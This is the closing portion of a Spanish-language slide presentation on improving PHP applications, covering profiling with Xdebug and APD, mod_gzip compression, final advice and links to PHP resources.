Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Haz un perfil del aplicativo (2)
La solución: Haz un perfil de tu código➔ Un perfilador te muestra cuanto tiempo consume
cada parte de tu código➔ Xdebug también tiene un perfilador➔ Un perfilador identifica inequívocamente los cuellos
de botella (no tienes que adivinar)● Recomendaciones de perfiladores
➔ Xdebug (Código Libre): http://xdebug.org/➔ APD (Código Libre): http://pecl.php.net/package/apd
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usa mod_gzip (1)
La situación: No tienes ancho de banda suficiente para tu servidor de web➔ A veces el problema no es la velocidad de tu CPU,
tus discos o tu base de datos➔ Con muchos datos a transmitir, o un ancho de
banda pobre, la velocidad de transmisión sufre➔ Las sugerencias usuales para mejorar la
performance de tu aplicativo, no te son muy útiles en este caso
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Usa mod_gzip (2)
La solución: Usa mod_gzip➔ Comprime tus datos en tiempo real➔ Compresión GZIP es parte de HTTP 1.1➔ Puede reducir los datos a ser transferidos hasta en
un 80%➔ Está disponible como un módulo de Apache➔ Para más información:
http://sourceforge.net/projects/mod-gzip/
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Palabras finales● El mejorar tu código implica cambios de
hábitos y el uso de herramientas que hagan tu trabajo mejor y mas eficiente
● Lee código y eso ayudará a que el tuyo mejore. Lo mismo para la documentación.
● Programa considerando la seguridad como parte integral de tu diseño y no como algo secundario.
● Mejorar la performance no es difícil, pero requiere algo de trabajo.
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
Para mas información
● PHP: http://www.php.net● Zend: http://www.zend.com● Manual de PHP: http://www.php.net/manual/● Charlas acerca de PHP: http://talks.php.net/● Bugs: http://bugs.php.net/● Listas de correo: http://news.php.net● CVS: http://cvs.php.net● Otros sitios de PHP.net: http://www.php.net/sites.php● Libros: http://www.php.net/books.php● Otras referencias: http://www.php.net/links.php
Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia
¡Gracias!
✔ A los organizadores por su invitación para hablar acerca de este tema.
✔ A ustedes por no aburrirse mucho con mi charla interminable.
✔ A todos los desarrolladores de PHP que nos hacen la vida mas fácil.
✔ A Kore Nordmann y Tobias Schlitt, de quienes tomé gran parte del material.
Esta y otras presentaciones disponibles en:http://www.castagnetto.com/